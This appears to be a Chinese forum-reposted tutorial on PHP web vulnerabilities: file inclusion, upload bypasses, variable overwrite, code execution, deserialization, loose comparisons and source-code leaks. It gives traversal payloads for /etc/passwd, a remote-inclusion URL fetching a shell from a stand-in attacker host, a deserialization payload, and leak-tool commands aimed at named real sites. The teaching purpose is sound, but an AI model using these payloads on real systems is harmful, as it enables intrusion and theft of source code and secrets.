PHP:include()``include_once()``require()``require_once() fopen() readfile() 等
JSP / Servlet:ava.io.File()``java.io.FileReader()等
ASP:includefile``includevirtual 等
當(dāng) PHP 包含一個文件時,會將該文件當(dāng)做 PHP 代碼執(zhí)行,而不會在意文件時什么類型
<?php
$file = $_GET['file'];
if (file_exists('/home/wwwrun/'.$file.'.php')) {
? include '/home/wwwrun/'.$file.'.php';
}
?>
上述代碼存在本地文件包含,可用 %00 截斷的方式讀取 /etc/passwd 文件內(nèi)容。
%00 截斷
file=../../../../../../../../../etc/passwd%00
需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效。
路徑長度截斷
file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
Linux 需要文件名長于 4096,Windows 需要長于 256。
點(diǎn)號截斷
file=../../../../../../../../../boot.ini/………[…]…………
只適用 Windows,點(diǎn)號需要長于 256。
遠(yuǎn)程文件包含,Remote File Inclusion,RFI。
<?php
if ($route == "share") {
? require_once $basePath . "/action/m_share.php";
} elseif ($route == "sharelink") {
? require_once $basePath . "/action/m_sharelink.php";
}
構(gòu)造變量 basePath 的值。
/?basePath=http://attacker/phpshell.txt?
最終的代碼執(zhí)行了
require_once "http://attacker/phpshell.txt?/action/m_share.php";
問號后的部分被解釋為 URL 的 querystring,這也是一種「截斷」。
普通遠(yuǎn)程文件包含
file=[http|https|ftp]://example.com/shell.txt
需要 allow_url_fopen=On 并且 allow_url_include=On。
利用 PHP 流 input
file=php://input
需要 allow_url_include=On。
利用 PHP 流 filter
file=php://filter/convert.base64-encode/resource=index.php
需要 allow_url_include=On。
利用 data URIs
file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
需要 allow_url_include=On。
利用XSS 執(zhí)行
file=http://127.0.0.1/path/xss.php?xss=phpcode
需要 allow_url_fopen=On,allow_url_include=On并且防火墻或者白名單不允許訪問外網(wǎng)時,先在同站點(diǎn)找一個 XSS 漏洞,包含這個頁面,就可以注入惡意代碼了。
文件上傳
文件上傳漏洞是指用戶上傳了一個可執(zhí)行腳本文件,并通過此文件獲得了執(zhí)行服器端命令的能力。在大多數(shù)情況下,文件上傳漏洞一般是指上傳 web 腳本能夠被服務(wù)器解析的問題,也就是所謂的 webshell 問題。完成這一攻擊需要這樣幾個條件,一是上傳的文件能夠這 web 容器執(zhí)行,其次用戶能從 web 上訪問這個文件,最后,如果上傳的文件被安全檢查、格式化、圖片壓縮等功能改變了內(nèi)容,則可能導(dǎo)致攻擊失敗。
繞過上傳檢查
前端檢查擴(kuò)展名
抓包繞過即可。
Content-Type 檢測文件類型
抓包修改 Content-Type 類型,使其符合白名單規(guī)則。
服務(wù)端添加后綴
嘗試 %00 截斷。
服務(wù)端擴(kuò)展名檢測
利用解析漏洞。
Apache 解析
phpshell.php.rar.rar.rar.rar 因?yàn)?Apache 不認(rèn)識 .rar 這個文件類型,所以會一直遍歷后綴到 .php,然后認(rèn)為這是一個 PHP 文件。
IIS 解析
IIS 6 下當(dāng)文件名為 abc.asp;xx.jpg 時,會將其解析為 abc.asp。
PHP CGI 路徑解析
當(dāng)訪問http://www.a.com/path/test.jpg/notexist.php 時,會將 test.jpg 當(dāng)做 PHP 解析,notexist.php是不存在的文件。此時 Nginx 的配置如下
location ~ \.php$ {? root html;? fastcgi_pass 127.0.0.1:9000;? fastcgi_index index.php;? fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;? include fastcgi_param;}
其他方式
后綴大小寫、雙寫、特殊后綴如 php5 等,修改包內(nèi)容的大小寫過 WAF 等。
全局變量覆蓋
變量如果未被初始化,且能夠用戶所控制,那么很可能會導(dǎo)致安全問題。
register_globals=ON
實(shí)例
<?php
echo "Register_globals: " . (int)ini_get("register_globals") . "<br/>";
if ($auth) {
? echo "private!";
}
?>
當(dāng) register_globals=ON 時,提交 test.php?auth=1,auth變量將自動得到賦值。
extract() 變量覆蓋
extract() 函數(shù)能夠?qū)⒆兞繌臄?shù)組導(dǎo)入到當(dāng)前的符號表,其定義為
int extract ( array $var_array [, int $extract_type [, string $prefix ]] )
其中,第二個參數(shù)指定函數(shù)將變量導(dǎo)入符號表時的行為,最常見的兩個值是 EXTR_OVERWRITE 和 EXTR_SKIP。
當(dāng)值為 EXTR_OVERWRITE 時,在將變量導(dǎo)入符號表的過程中,如果變量名發(fā)生沖突,則覆蓋所有變量;值為 EXTR_SKIP 則表示跳過不覆蓋。若第二個參數(shù)未指定,則在默認(rèn)情況下使用 EXTR_OVERWRITE。
<?php
$auth = "0";
extract($_GET);
if ($auth == 1) {
? echo "private!";
} else {
? echo "public!";
}
?>
當(dāng) extract() 函數(shù)從用戶可以控制的數(shù)組中導(dǎo)出變量時,可能發(fā)生變量覆蓋。
import_request_variables 變量覆蓋
bool import_request_variables (string $types [, string $prefix])
import_request_variables 將 GET、POST、Cookies 中的變量導(dǎo)入到全局,使用這個函數(shù)只用簡單地指定類型即可。
<?php
$auth = "0";
import_request_variables("G");
if ($auth == 1) {
? echo "private!";
} else {
? echo "public!";
}
?>
import_request_variables("G") 指定導(dǎo)入 GET 請求中的變量,提交 test.php?auth=1 出現(xiàn)變量覆蓋。
parse_str() 變量覆蓋
void parse_str ( string $str [, array &$arr ])
parse_str() 函數(shù)通常用于解析 URL 中的 querystring,但是當(dāng)參數(shù)值可以被用戶控制時,很可能導(dǎo)致變量覆蓋。
// var.php?var=new? 變量覆蓋$var = [color=var(--theme-color, #42b983)]"init";parse_str($_SERVER[[color=var(--theme-color, #42b983)]"QUERY_STRING"]);print $var;
與 parse_str() 類似的函數(shù)還有 mb_parse_str()。
命令執(zhí)行直接執(zhí)行代碼
PHP 中有不少可以直接執(zhí)行代碼的函數(shù)。
eval();assert();system();exec();shell_exec();passthru();escapeshellcmd();pcntl_exec();等
preg_replace() 代碼執(zhí)行
preg_replace() 的第一個參數(shù)如果存在 /e 模式修飾符,則允許代碼執(zhí)行。
<?php
$var = "<tag>phpinfo()</tag>";
preg_replace("/<tag>(.*?)<\/tag>/e", "addslashes(\\1)", $var);
?>
如果沒有 /e 修飾符,可以嘗試 %00 截斷。
動態(tài)函數(shù)執(zhí)行
用戶自定義的函數(shù)可以導(dǎo)致代碼執(zhí)行。
<?php
$dyn_func = $_GET["dyn_func"];
$argument = $_GET["argument"];
$dyn_func($argument);
?>
反引號命令執(zhí)行
<?php
echo `ls -al`;
?>
Curly Syntax
PHP 的 Curly Syntax 也能導(dǎo)致代碼執(zhí)行,它將執(zhí)行花括號間的代碼,并將結(jié)果替換回去。
<?php
$var = "aaabbbccc ${`ls`}";
?>
<?php
$foobar = "phpinfo";
${"foobar"}();
?>
回調(diào)函數(shù)
很多函數(shù)都可以執(zhí)行回調(diào)函數(shù),當(dāng)回調(diào)函數(shù)用戶可控時,將導(dǎo)致代碼執(zhí)行。
<?php
$evil_callback = $_GET["callback"];
$some_array = array(0,1,2,3);
$new_array = array_map($evil_callback, $some_array);
?>
攻擊 payload
[AppleScript] 純文本查看 復(fù)制代碼
http://www.a.com/index.php?callback=phpinfo
反序列化
如果 unserialize() 在執(zhí)行時定義了 __destruct() 或 __wakeup() 函數(shù),則有可能導(dǎo)致代碼執(zhí)行。
[PHP] 純文本查看 復(fù)制代碼
?
1
2
3
4
5
6
7
8
9
<?php
class Example {
? var $var = "";
? function __destruct() {
? ? eval($this->$var);
? }
}
unserialize($_GET["saved_code"]);
?>
攻擊 payload
[AppleScript] 純文本查看 復(fù)制代碼
?
1
http://www.a.com/index.php?saved_code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}
PHP 特性
數(shù)組
[PHP] 純文本查看 復(fù)制代碼
?
1
2
3
4
5
<?php
$var = 1;
$var = array();
$var = "string";
?>
php 不會嚴(yán)格檢驗(yàn)傳入的變量類型,也可以將變量自由的轉(zhuǎn)換類型。
比如在 $a == $b 的比較中
[PHP] 純文本查看 復(fù)制代碼
?
1
2
3
4
$a = null;
$b = false; //為真
$a = '';
$b = 0; //同樣為真
然而,PHP 內(nèi)核的開發(fā)者原本是想讓程序員借由這種不需要聲明的體系,更加高效的開發(fā),所以在幾乎所有內(nèi)置函數(shù)以及基本結(jié)構(gòu)中使用了很多松散的比較和轉(zhuǎn)換,防止程序中的變量因?yàn)槌绦騿T的不規(guī)范而頻繁的報錯,然而這卻帶來了安全問題。
[PHP] 純文本查看 復(fù)制代碼
?
1
2
3
4
0=='0' //true
0 == 'abcdefg' //true
0 === 'abcdefg' //false
1 == '1abcdef' //true
魔法Hash
[PHP] 純文本查看 復(fù)制代碼
?
1
2
3
"0e132456789"=="0e7124511451155" //true
"0e123456abc"=="0e1dddada" //false
"0e1abc"=="0"? //true
在進(jìn)行比較運(yùn)算時,如果遇到了0e\d+這種字符串,就會將這種字符串解析為科學(xué)計數(shù)法。所以上面例子中 2 個數(shù)的值都是 0 因而就相等了。如果不滿足0e\d+這種模式就不會相等。
十六進(jìn)制轉(zhuǎn)換
[PHP] 純文本查看 復(fù)制代碼
?
1
2
3
"0x1e240"=="123456" //true
"0x1e240"==123456 //true
"0x1e240"=="1e240" //false
當(dāng)其中的一個字符串是 0x 開頭的時候,PHP 會將此字符串解析成為十進(jìn)制然后再進(jìn)行比較,0x1240解析成為十進(jìn)制就是 123456,所以與 int 類型和 string 類型的 123456 比較都是相等。
類型轉(zhuǎn)換
常見的轉(zhuǎn)換主要就是 int 轉(zhuǎn)換為 string,string轉(zhuǎn)換為 int。
int 轉(zhuǎn) string:
[PHP] 純文本查看 復(fù)制代碼
?
1
2
3
$var = 5;
方式1:$item = (string)$var;
方式2:$item = strval($var);
string 轉(zhuǎn) int:intval()函數(shù)。
對于這個函數(shù),可以先看 2 個例子。
[PHP] 純文本查看 復(fù)制代碼
?
1
2
3
var_dump(intval('2')) //2
var_dump(intval('3abcd')) //3
var_dump(intval('abcd')) //0
說明intval()轉(zhuǎn)換的時候,會將從字符串的開始進(jìn)行轉(zhuǎn)換知道遇到一個非數(shù)字的字符。即使出現(xiàn)無法轉(zhuǎn)換的字符串,intval()不會報錯而是返回 0。
同時,程序員在編程的時候也不應(yīng)該使用如下的這段代碼:
[PHP] 純文本查看 復(fù)制代碼
?
1
2
3
if(intval($a)>1000) {
mysql_query("select * from news where id=".$a)
}
這個時候 $a 的值有可能是 1002 union。
內(nèi)置函數(shù)的參數(shù)的松散性
內(nèi)置函數(shù)的松散性說的是,調(diào)用函數(shù)時給函數(shù)傳遞函數(shù)無法接受的參數(shù)類型。解釋起來有點(diǎn)拗口,還是直接通過實(shí)際的例子來說明問題,下面會重點(diǎn)介紹幾個這種函數(shù)。
md5()
[PHP] 純文本查看 復(fù)制代碼
?
1
2
3
4
5
6
$array1[] = array(
"foo" => "bar",
"bar" => "foo",
);
$array2 = array("foo", "bar", "hello", "world");
var_dump(md5($array1)==var_dump($array2)); //true
PHP 手冊中的 md5()函數(shù)的描述是 string md5 ( string $str [, bool $raw_output = false ] ),md5()中的需要是一個 string 類型的參數(shù)。但是當(dāng)你傳遞一個 array 時,md5()不會報錯,只是會無法正確地求出 array 的 md5 值,這樣就會導(dǎo)致任意 2 個 array 的 md5 值都會相等。
strcmp()
strcmp()函數(shù)在 PHP 官方手冊中的描述是 intstrcmp ( string $str1 , string $str2 ),需要給 strcmp() 傳遞 2 個 string 類型的參數(shù)。如果 str1 小于 str2,返回-1,相等返回 0,否則返回 1。strcmp()函數(shù)比較字符串的本質(zhì)是將兩個變量轉(zhuǎn)換為 ASCII,然后進(jìn)行減法運(yùn)算,然后根據(jù)運(yùn)算結(jié)果來決定返回值。
如果傳入給出strcmp()的參數(shù)是數(shù)字呢?
[PHP] 純文本查看 復(fù)制代碼
?
1
$array=[1,2,3];[/align]var_dump(strcmp($array,'123')); //null,在某種意義上null也就是相當(dāng)于false。
switch()
如果switch()是數(shù)字類型的 case 的判斷時,switch 會將其中的參數(shù)轉(zhuǎn)換為 int 類型。如下:
[PHP] 純文本查看 復(fù)制代碼
?
01
02
03
04
05
06
07
08
09
10
$i ="2abc";
switch ($i) {
case 0:
case 1:
case 2:
echo "i is less than 3 but not negative";
break;
case 3:
echo "i is 3";
}
這個時候程序輸出的是i is less than 3 but not negative,是由于switch()函數(shù)將$i進(jìn)行了類型轉(zhuǎn)換,轉(zhuǎn)換結(jié)果為 2。
in_array()
在 PHP 手冊中,in_array()函數(shù)的解釋是bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) ,如果strict參數(shù)沒有提供,那么in_array就會使用松散比較來判斷$needle是否在$haystack中。當(dāng) strince 的值為 true 時,in_array()會比較 needls 的類型和 haystack 中的類型是否相同。
[PHP] 純文本查看 復(fù)制代碼
?
1
2
3
$array=[0,1,2,'3'];
var_dump(in_array('abc', $array)); //true
var_dump(in_array('1bc', $array)); //true
可以看到上面的情況返回的都是 true,因?yàn)?abc'會轉(zhuǎn)換為 0,'1bc'轉(zhuǎn)換為 1。
array_search()與in_array()也是一樣的問題。
尋找源代碼備份
hg 源碼泄露
hg init 時會產(chǎn)生 .hg 文件。
利用工具 dvcs-ripper
https://github.com/kost/dvcs-ripper
Git 源碼泄露
.git 目錄內(nèi)有代碼的變更記錄等文件,如果部署時該目錄下的文件可被訪問,可能會被利用來恢復(fù)源代碼。
/.git/.git/HEAD/.git/index/.git/config/.git/description
GitHack
https://github.com/lijiejie/GitHack
python GitHack.py
http://www.openssl.org/.git/
.DS_Store 文件泄露
Mac OS 中會包含有 .DS_Store 文件,包含文件名等信息。
利用工具 ds_store_exp
https://github.com/lijiejie/ds_store_exp
[Bash shell] 純文本查看 復(fù)制代碼
?
1
python ds_store_exp.py [url]http://hd.zj.qq.com/themes/galaxyw/.DS_Storehd.zj.qq.com/[/url][/align][align=left]
[Bash shell] 純文本查看 復(fù)制代碼
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
hd.zj.qq.com/
└── themes
? ? └── galaxyw
? ? ? ? ├──app
? ? ? ? │? └── css
? ? ? ? │? ? ? └── style.min.css
? ? ? ? ├── cityData.min.js
? ? ? ? ├── images
? ? ? ? │? └── img
? ? ? ? │? ? ? ├── bg-hd.png
? ? ? ? │? ? ? ├── bg-item-activity.png
? ? ? ? │? ? ? ├── bg-masker-pop.png
? ? ? ? │? ? ? ├── btn-bm.png
? ? ? ? │? ? ? ├── btn-login-qq.png
? ? ? ? │? ? ? ├── btn-login-wx.png
? ? ? ? │? ? ? ├── ico-add-pic.png
? ? ? ? │? ? ? ├── ico-address.png
? ? ? ? │? ? ? ├── ico-bm.png
? ? ? ? │? ? ? ├── ico-duration-time.png
? ? ? ? │? ? ? ├── ico-pop-close.png
? ? ? ? │? ? ? ├── ico-right-top-delete.png
? ? ? ? │? ? ? ├── page-login-hd.png
? ? ? ? │? ? ? ├── pic-masker.png
? ? ? ? │? ? ? └── ticket-selected.png
? ? ? ? └── member
? ? ? ? ? ? ├── assets
? ? ? ? ? ? │? ├── css
? ? ? ? ? ? │? │? ├── ace-reset.css
? ? ? ? ? ? │? │? └── antd.css
? ? ? ? ? ? │? └── lib
? ? ? ? ? ? │? ? ? ├── cityData.min.js
? ? ? ? ? ? │? ? ? └── ueditor
? ? ? ? ? ? │? ? ? ? ? ├── index.html
? ? ? ? ? ? │? ? ? ? ? ├── lang
? ? ? ? ? ? │? ? ? ? ? │? └── zh-cn
? ? ? ? ? ? │? ? ? ? ? │? ? ? ├── images
? ? ? ? ? ? │? ? ? ? ? │? ? ? │? ├── copy.png
? ? ? ? ? ? │? ? ? ? ? │? ? ? │? ├── localimage.png
? ? ? ? ? ? │? ? ? ? ? │? ? ? │? ├── music.png
? ? ? ? ? ? │? ? ? ? ? │? ? ? │? └── upload.png
? ? ? ? ? ? │? ? ? ? ? │? ? ? └── zh-cn.js
? ? ? ? ? ? │? ? ? ? ? ├── php
? ? ? ? ? ? │? ? ? ? ? │? ├── action_crawler.php
? ? ? ? ? ? │? ? ? ? ? │? ├── action_list.php
? ? ? ? ? ? │? ? ? ? ? │? ├── action_upload.php
? ? ? ? ? ? │? ? ? ? ? │? ├── config.json
? ? ? ? ? ? │? ? ? ? ? │? ├── controller.php
? ? ? ? ? ? │? ? ? ? ? │? └── Uploader.class.php
? ? ? ? ? ? │? ? ? ? ? ├── ueditor.all.js
? ? ? ? ? ? │? ? ? ? ? ├── ueditor.all.min.js
? ? ? ? ? ? │? ? ? ? ? ├── ueditor.config.js
? ? ? ? ? ? │? ? ? ? ? ├── ueditor.parse.js
? ? ? ? ? ? │? ? ? ? ? └── ueditor.parse.min.js
? ? ? ? ? ? └── static
? ? ? ? ? ? ? ? ├──css
? ? ? ? ? ? ? ? │? └── page.css
? ? ? ? ? ? ? ? ├──img
? ? ? ? ? ? ? ? │├──bg-table-title.png
? ? ? ? ? ? ? ? │├──bg-tab-say.png
? ? ? ? ? ? ? ? │? ├── ico-black-disabled.png
? ? ? ? ? ? ? ? │? ├── ico-black-enabled.png
? ? ? ? ? ? ? ? │? ├── ico-coorption-person.png
? ? ? ? ? ? ? ? │? ├── ico-miss-person.png
? ? ? ? ? ? ? ? │? ├── ico-mr-person.png
? ? ? ? ? ? ? ? │? ├── ico-white-disabled.png
? ? ? ? ? ? ? ? │? └── ico-white-enabled.png
? ? ? ? ? ? ? ? └── scripts
? ? ? ? ? ? ? ? ? ? ├──js
? ? ? ? ? ? ? ? ? ? └──lib
? ? ? ? ? ? ? ? ? ? ? ? └── jquery.min.js
21 directories, 48 files
網(wǎng)站備份文件
管理員備份網(wǎng)站文件后錯誤地將備份放在 Web 目錄下。
常見的后綴名:
.rar.zip.7z.tar.tar.gz.bak.txt
SVN 泄露
敏感文件:
/.svn/.svn/wc.db/.svn/entries
dvcs-ripper
https://github.com/kost/dvcs-ripper
[Perl] 純文本查看 復(fù)制代碼
?
1
perl rip-svn.pl -v -u [url]http://www.example.com/.svn/[/url]
Seay - SVN
網(wǎng)址自行查找。
WEB-INF / web.xml 泄露
WEB-INF 是 Java Web 應(yīng)用的安全目錄,web.xml 中有文件的映射關(guān)系。
WEB-INF 主要包含一下文件或目錄:
/WEB-INF/web.xml:Web 應(yīng)用程序配置文件,描述了 servlet 和其他的應(yīng)用組件配置及命名規(guī)則。
/WEB-INF/classes/:含了站點(diǎn)所有用的 class 文件,包括 servlet class 和非 servlet class,他們不能包含在。jar 文件中。
/WEB-INF/lib/:存放 web 應(yīng)用需要的各種 JAR 文件,放置僅在這個應(yīng)用中要求使用的 jar 文件,如數(shù)據(jù)庫驅(qū)動 jar 文件。
/WEB-INF/src/:源碼目錄,按照包名結(jié)構(gòu)放置各個 java 文件。
/WEB-INF/database.properties:數(shù)據(jù)庫配置文件。
通過找到 web.xml 文件,推斷 class 文件的路徑,最后直接 class 文件,在通過反編譯 class 文件,得到網(wǎng)站源碼。 一般情況,jsp 引擎默認(rèn)都是禁止訪問 WEB-INF 目錄的,Nginx 配合 Tomcat 做均衡負(fù)載或集群等情況時,問題原因其實(shí)很簡單,Nginx 不會去考慮配置其他類型引擎(Nginx 不是 jsp 引擎)導(dǎo)致的安全問題而引入到自身的安全規(guī)范中來(這樣耦合性太高了),修改 Nginx 配置文件禁止訪問 WEB-INF 目錄就好了:
location ~ ^/WEB-INF/* { deny all; } # 或者return 404; 或者其他!
CVS 泄露
http://url/CVS/Root 返回根信息http://url/CVS/Entries 返回所有文件的結(jié)構(gòu)
取回源碼
bk clone http://url/name dir